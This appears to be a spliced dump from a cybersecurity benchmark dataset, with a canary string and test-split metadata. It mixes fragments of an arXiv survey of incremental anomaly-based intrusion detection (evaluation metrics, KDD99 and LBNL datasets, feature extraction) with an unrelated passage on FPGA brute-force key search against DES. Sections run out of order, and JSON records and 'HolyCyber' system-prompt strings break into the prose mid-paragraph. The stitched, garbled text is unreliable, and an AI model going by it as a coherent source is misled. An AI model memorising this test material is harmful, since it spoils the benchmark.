Evaluation Criteria and Analysis\nBenchmark intrusion datasets play an important role in evaluating an attack detection system. But there is only one well known and commonly available benchmark dataset (i.e., KDDCup99) for performance analysis of IDSs. Researchers analyze their detection methods based on live network traffic (i.e., network trace); but they cannot claim that the detection methods work in all situations.

The first two are detection rate and false positive rate and, conversely, true and false negative rates [49]. Two other metrics, effectiveness and efficiency are defined by Staniford et al. [50]. Effectiveness is defined as the ratio of detected scans (i.e., true positives) to all scans (true positives plus false negatives). Similarly, efficiency is defined as the ratio of the number of identified scans (i.e., true positives) to all cases flagged as scan (true positives plus false positives) [50], and is the same as the detection rate defined previously.\n\nTable 11.

This approach is used by Lincoln Lab for evaluation of anomaly-based detection systems and discussed in detail by McHugh [51]. An ROC curve has false positive rate on its x-axis and true positive rate on its y-axis, thus moving from (0, 0) at the origin to (1, 1). The detection system must return a likelihood score between 0 and 1, when it detects an intrusion in order for the ROC curve to provide meaningful results. The ROC curve can be used to determine how well the overall system performs, the most appropriate threshold values given acceptable true and false positive rates, and to compare different detection systems.\n\n## implementation\nand applications,” Journal of Machine Learning Research, vol. 7, pp. 1909–1936, 2006.

Second, obtaining accurate and representative labels, especially for the anomaly class is usually challenging.

We now discuss some of the most common incremental supervised anomaly detection approaches.\n\n1) Yu et al. [28]: The authors propose an incremental learning method by cascading a service classifier (SC) over an incremental tree inducer (ITI) for supervised anomaly detection. A service classifier ensures that the ITI method is trained with instances with only one service value (e.g., ftp, smtp, telnet, etc.). The ITI method is trained with instances incrementally without the service attribute. The cascading method has three phases: (i) training, (ii) testing and (iii) incremental learning. During training phase, the service classifier method is first applied to partition the training dataset into m disjoint clusters according to different services. Then, the ITI method is trained with the instances in each cluster. The service classifier method ensures that each training instance is associated with only one cluster. In the testing phase, it finds the clusters to which the test instances belong. Then, the ITI method is tested with the instances. In the incremental learning phase, the service classifier and ITI cascading method are not re-trained; the authors use incremental learning to train the existing ITI binary tree. Nearest Neighbor combination rules embedded within K-Means+ITI and SOM (Self-Organizing Map)+ITI cascading methods are used in experiments. The authors also compare the performance of SC+ITI with K-Means, SOM, ITI, K- Means+ITI and SOM+ITI methods in terms of detection rate and false positive rate (FPR) on the KDD’99 dataset. Results show that the ITI method has better performance than K-Means, SOM, K- Means+ITI and SOM+ITI methods in terms of overall detection rate. However, the SC+ITI cascading method outperforms the ITI method in terms of detection rate and FPR, and obtains better detection rate compared to other methods. Like the ITI method, SC+ITI also provide additional options for handling missing values and incremental learning. 2) Lascov et al. [29]: The authors focus on the design and analysis of efficient incremental SVM learning, with the aim of providing a fast, numerically stable and robust implementation. A detailed analysis of convergence and algorithmic complexity of incremental SVM learning is carried out in this paper. Based on this analysis, a new design for storage and for numerical operations is proposed. The design speeds up the training of an incremental SVM by a factor of 5 to 20. The performance of the new algorithm is demonstrated in two scenarios: learning with limited resources and active learning. The authors discuss various applications of the algorithm, such as in drug discovery, online monitoring of industrial devices and surveillance of network traffic. 3) Ren et al.

System administrators can attempt to prevent such attacks using intrusion detection tools and systems. There are many commercially available signature-based Intrusion Detection Systems (IDSs). However, most IDSs lack the capability to detect novel or previously unknown attacks. A special type of IDSs, called Anomaly Detection Systems, develop models based on normal system or network behavior, with the goal of detecting both known and unknown attacks. Anomaly detection systems face many problems including high rate of false alarm, ability to work in online mode, and scalability. This paper presents a selective survey of incremental approaches for detecting anomaly in normal system or network traffic. The technological trends, open problems, and challenges over anomaly detection using incremental approach are also discussed.\n\nClustering.\n\n## 1. Introduction\nThe Internet connects users and providers of information and media services from distant corners of the world. Due to widespread availability of advanced networking technologies, the threat from spammers, intruders or attackers, and criminal enterprises is also increasing. Intrusion Detection Systems (IDSs) and firewall technologies can prevent some of these threats. One study [1] estimates the number of intrusion attempts over the entire Internet to be in the order of 25 billion per day and increasing. McHugh [2] claims that attacks are becoming more sophisticated while they get more automated, and thus the skills needed to launch them are being reduced. There are two types of IDSs: signature-based and anomaly-based. Signature-based IDSs exploit signatures of known attacks. Such systems require frequent updates of signatures for known attacks and cannot detect unknown attacks or anomalies for which signatures are not stored in the database. In contrast, anomaly based IDSs are extremely effective in finding and preventing known as well as unknown or zero day attacks [3][54]. However, an anomaly detection system has many shortcomings such as high rate of false alarm, and the failure to scale up to gigabit speeds. The main task of an incremental method is to construct or model the pattern classes and use them for correct classification of the input pattern as either belonging to a certain previously observed class or not belonging to any of referred classes. However, in network anomaly detection, the incremental approach updates normal profiles dynamically based on changes in network traffic without fresh training using all data for attack detection. Based on existing profiles, it can take the decision to raise an attack if abrupt changes happen in normal system or network traffic. Thus, it is useful to detect anomalies from normal system or network traffic from existing signatures or profiles, using an incremental approach. That is, an incremental approach updates profiles or signatures dynamically incorporating new profiles as it encounters them. It does not need to load the whole database each time into the memory and learn fresh from beginning. In the last two decades, a good number of anomaly based intrusion detection approaches [3][4][5][55] have been developed, but a lot of them are general in nature, and thus quite simple. Due to the lack of papers that discuss various facets of incremental anomaly detection, we present a survey in a structured manner along with current research issues and challenges in this field. This paper reports a selective and comprehensive survey of incremental approaches for network anomaly detection. In Section 2, we introduce the basic problem formulation while Section 3 provides the idea of anomaly detection. A good number of incremental techniques and validity measures for anomaly detection are discussed in Section 4. Section 5 is dedicated to evaluation datasets, whereas Section 6 presents performance evaluation mechanisms. Section 7 discusses research issues and challenges and finally reports concluding remarks in Section 8.\n\n## 2. Problem Definition\nIntrusions or attacks can be detected based on the collection of information from a network or a host (normally, in and out traffic). This problem has been formulated in [6] from the pattern recognition view point. Incremental approaches are used to make the system faster in terms of training as well as testing of the instances. There are enormous problems in developing incremental techniques for network anomaly detection due to the dynamic updation of normal as well as attack profiles. We observe that the main importance of incremental network anomaly detection lies in dynamic profile updation for both normal and attack, reduced memory utilization, faster and higher detection rate, and improved real time performance. To address all these issues, we present a comprehensive survey of incremental approaches for network anomaly detection.\n\n## 5.1.4 Remote to local attacks\nA remote to local (R2L) attack makes attack by sending packets to a machine over a network, and then exploits the machines vulnerability to illegally gain local access as a user. There are different types of R2U attacks. The most common attack in this class uses social engineering. Some R2L attacks are reported in Table 6.\n\n## 5.2 LBNL Datasets\nThis dataset can be obtained from Lawrence Berkeley National Laboratory (LBNL) in the USA. Traffic in this dataset is comprised of packet-level incoming, outgoing, and internally routed traffic streams at the LBNL edge routers. Traffic was anonymized using the tcpmkpub tool [44]. The main applications observed in internal and external traffic are Web (i.e., HTTP), Email, and Name Services. The dataset identify attack traffic by isolating the corresponding scans in aggregate traffic traces. The outgoing TCP scans in the dataset follow LBNL hosts for resetting the TCP connection. Clearly, the attack rate is significantly lower than the background traffic rate (see Table 8 for detailed statistics)."}]} {"id": "23df2b8f40a9f648", "row_key": "detection_engineering:paper:1211.4493v2:detection_engineering:detection_strategy:6", "domain": "detection_engineering", "subdomain": "detection_strategy", "task_type": "detection_engineering", "difficulty": "advanced", "group_key": "paper:1211.4493v2", "source": "arxiv-corpus", "license": "arXiv perpetual non-exclusive licence", "split": "test", "canary": "BENCHMARK DATA SHOULD NEVER APPEAR AS TRAINING DATA: HOLYCYBER-DECONTAM-CANARY-9f2c7a14", "tokens": {"user": 176, "assistant": 2322, "total": 2498}, "core_share": 1.0, "appendix": false, "references": ["https://arxiv.org/abs/v2"], "messages": [{"role": "system", "content": "You are HolyCyber, a senior cybersecurity analyst and engineer.

The large traffic volumes of home computers are also evident from their high mean numbers of sessions per second.

Details of the malwares can be found at Semantic Security Response website3. The attack traffic logged at the end-points is mostly comprised of outgoing port scans. Moreover, the attack traffic rates at the end-points are generally much higher than the background traffic rates of LBNL datasets. For each malware, attack traffic of 15 minutes duration was inserted in the background traffic at each end-point at a random time instance.

The main advantage of using network traces is that the results do not demonstrate any bias due to artifacts from simulated data that are not representative of actual data. However, when network traces are available, they are often limited. For example, the traces might only contain packet header data, or might be summarized even further into flow-level information.\n\n## 3. Preface to Anomaly Detection\nAnomaly detection refers to the important problem of finding non-conforming patterns or behaviors in live traffic data. These non-conforming patterns are often known as anomalies, outliers, discordant observations, exceptions, aberrations, surprises, peculiarities or contaminants in\n\n227\n\ndifferent application domains. In practice, it is very difficult to precisely detect anomalies in network traffic or normal data. So, anomaly is an interesting pattern due to the effect of traffic or normal data while noise consists of noninteresting patterns that hinder traffic data analysis. The central premise of anomaly detection is that intrusive activity is a subset of anomalous activity [3][7]. When there is an intruder who has no idea of the legitimate user’s activity patterns, the probability that the intruder’s activity is detected as anomalous should be high. Kumar and Stafford [4] suggest four possibilities in such a situation, each with a non-zero probability.\n\n• Intrusive but not anomalous: An IDS may fail to detect this type of activity since the activity is not anomalous. But, if the IDS detects such an activity, it may report it as a false negative because it falsely reports the absence of an intrusion when there is one. • Not intrusive but anomalous: If the activity is not intrusive, but it is anomalous, an IDS may report it as intrusive. These are called false positives because an intrusion detection system falsely reports intrusions. • Not intrusive and not anomalous: These are true negatives; the activity is not intrusive and should not be reported as intrusive. • Intrusive and anomalous: These are true positives; the activity is intrusive and much be reported as such.\n\n## 4. Existing\nIncremental Approaches for Network Anomaly Detection Recently, several papers have focused on modeling and analyzing anomaly based IDSs. Only a few of these present incremental approaches. Based on a comprehensive survey of published incremental anomaly detection approaches, we conclude that most approaches have high rate of false alarm, are non-scalable, and are not fit for deployment in highspeed networks. Anomaly detection techniques can be of three types: supervised, semi-supervised and unsupervised. Apart from the architecture of an incremental ANIDS, some published papers in each of these three categories are discussed in the following in brief.\n\n## 4.1 Architecture of an Incremental ANIDS\nIn this section, we present a generic architecture of an incremental anomaly based network intrusion detection system (ANIDS) in Figure 1.\n\n## 4.1.1 Network Traffic Capture\nIt is useful to analyze network traffic to detect attacks or anomalies. In a capture module, real network traffic is captured by using Libpcap [10] library, an open source C library offering an interface for capturing link-layer frames over a wide range of system architectures. It provides a highlevel common Application Programming Interface to the different packet capture frameworks of various operating systems. The offered abstraction layer allows programmers to rapidly develop highly portable applications. Libpcap defines a common standard format for files in which captured frames are stored, also known as the tcpdump format, currently a de facto standard used widely in public network traffic archives. Modern kernel-level capture frameworks on UNIX operating systems are mostly based on the BSD (or Berkeley) Packet Filter (BPF) [11][12]. The BPF is a software device that taps network interfaces, copying packets into kernel buffers and filtering out unwanted packets directly in interrupt context. Definitions of packets to be filtered can be written in a simple human readable format using Boolean operators and can be compiled into a pseudo-code to be passed to the BPF device driver by a system call. The pseudo-code is interpreted by the BPF Pseudo-Machine, a lightweight, high-performance, state machine specifically designed for packet filtering. Libpcap also allows programmers to write applications that transparently support a rich set of constructs to build detailed filtering expressions for most network protocols. A few Libpcap calls these Boolean expressions, which can read directly from user’s command line, compile into pseudocode and passed to the Berkeley Packet Filter. Libpcap and the BPF interact to allow network packet data to traverse several layers to finally be processed and transformed into in capture files (i.e., tcpdump format) or in samples for statistical analysis.\n\n## 4.1.2 Preprocessor\nIn order to evaluate an IDS, an unbiased intrusion dataset in a standard format is required. Generally, the live captured packet contains a lot of raw data; some of them may not be relevant in the context of an IDS. Therefore, filtrations of irrelevant parameters during captures as well as extraction of relevant features from the filtered data are important preprocessing functions of an IDS. Apart from these, data type conversion, normalization and discretization are also useful functions of this module depending on the anomaly detection mechanism used in the IDS.\n\na) Feature Extraction: Feature extraction from raw data is an important step for anomaly based network intrusion detection. The evaluation of any intrusion detection algorithm on real time network data is difficult, mainly due to the high cost of obtaining proper labeling of network connections. The extracted features are of four types [13][14] and are described below in brief. • Basic features: These can be derived from packet headers without inspecting the payload. For example, the following features are basic features: protocol type, service, flag, source bytes, destination bytes; • Content based features: Domain knowledge is used to assess the payload of the original TCP (Transmission Control Protocol) packets. This type includes features such as the number of failed login attempts; • Time-based features: These features are designed to capture properties that mature over a 2-second temporal window. One example of such a feature is the number of connections to the same host over the 2-second interval; • Connection-based features: These features are computed over a historical window estimated over the number of connections, in this case 100, instead of time.\n\nThese features are designed to assess attacks, which span intervals longer than 2 seconds. It is well known that features constructed from the data content of the connections are more important when detecting R2L (Remote to Local) and U2R (User to Root) attack types in KDD99 intrusion dataset [14], while time-based and connection based features are more important for detection of DoS (Denial of Service) and probing attack types [15].\n\n228\n\nFigure 1. A generic architecture of an Incremental ANIDS\n\nb) Data Type Conversion: Both features and raw data may include numeric as well as categorical data (e.g., tcp, icmp (Internet Control Message Protocol), telnet, etc). Therefore, to apply a clustering anomaly detection technique based on a proximity measure for numeric or categorical data, it may be necessary to convert the data.\n\nc) Normalization: In an intrusion dataset, all parameters or field values may not be equally weighted. In such cases, normalization is considered useful before applying an anomaly detection mechanism.\n\nd) Discretization: The network intrusion data contains several continuous valued attributes such as number of packets, number of bytes, duration of each connection, etc. These attributes may need to be transformed into binary features before applying any standard association mining algorithms. The transformation can be performed using a variety of supervised and unsupervised discretization techniques. For example, using the output scores of the anomaly detector as its ground truth, MINDS (Minnesota INtrusion Detection System) [16] employs a supervised binning strategy to discretize attributes. Initially, all distinct values of a continuous attribute are put into one bin. The worst bin in terms of purity is selected for partitioning until the desired number of bins is reached. The discretization of numeric attributes contributes to the comprehension of the final results."}]} {"id": "d61c75deab690015", "row_key": "detection_engineering:paper:1304.6672v1:detection_engineering:detection_strategy:1", "domain": "detection_engineering", "subdomain": "detection_strategy", "task_type": "detection_engineering", "difficulty": "advanced", "group_key": "paper:1304.6672v1", "source": "arxiv-corpus", "license": "arXiv perpetual non-exclusive licence", "split": "test", "canary": "BENCHMARK DATA SHOULD NEVER APPEAR AS TRAINING DATA: HOLYCYBER-DECONTAM-CANARY-9f2c7a14", "tokens": {"user": 216, "assistant": 2076, "total": 2292}, "core_share": 0.775, "appendix": true, "references": ["https://arxiv.org/abs/v1"], "messages": [{"role": "system", "content": "You are HolyCyber, a senior cybersecurity analyst and engineer.

IMPLEMENTATION OF DES CRYPTANALYSIS\nThe aim of the hardware is the probable key search to be accomplished by partitioning the solution space on the FPGA chip and instantiating multiple instances of the design in parallel. As the solution space is independent and inter-process communication is hardly required, the key search time can be reduced by ‘n’ fold for ‘n’ instances of the design in single a FPGA chip.\n\nWe have implemented the design in Virtex-4 FPGA chip (xc4vlx100-12ff1148) using Xilinx 13.1 development platform. The design is implemented using both Rolled and Unrolled architecture. After synthesis of the design incorporating key search engines in a single FPGA along with the additional logic required for finding the correct key, the device utilization and throughput for both the architectures are as shown below.\n\n13\n\n## 6.1. Using Rolled Architecture\nThe usage of 1,662 slices, 892 slice flip-flops (FF) and 3,187 Look up Tables (LUTs) is reported by the tool. (3% slices, 0% slice FF and 3% LUT utilization of the xc4vlx100-12ff1148 device respectively). The throughput achieved for the design is 0.817GBPS with maximum frequency of 230.063MHz.\n\n## 6.2. Using Unrolled Architecture\nThe usage of 9,019 slices, 7,614 slice flip-flops and 16,954 LUTs is reported by the tool.

The throughput achieved for the design is 0.874GBPS with maximum frequency of 245.874MHz.\n\nFrom the above experimental results, the device utilization for design using Rolled architecture is considerably less as compared to design using Unrolled architecture. Hence the Rolled architecture was selected for implementation. 256 key search instances for the Rolled architecture could be fit in a single FPGA with a clock frequency of 323.515MHz. With the clock frequency achieved, the entire key space can be searched in approximately 5 days.

Using single instance of the key search engine would take months to search the correct key x\"f0000000000011\". By running four instances in parallel the search time has considerably reduced.\n\n## 8. CONCLUSION\nThis work presents the design for cryptanalysis of DES algorithm based on Rolled architecture using FPGA. Based on the experimental results it is found that the Rolled architecture requires less area and can search the entire solution space in less time as compared to the Unrolled architecture. In this work we could fit 256 instances of key search in a single FPGA, such that the exhaustive key search on DES Algorithm can be done in approximately 5 days. Expanding the concept for AES Algorithm to fit maximum instances of the key search engine in a single FPGA and implementing the design in FPGA is the future work of this paper.\n\n## 9.
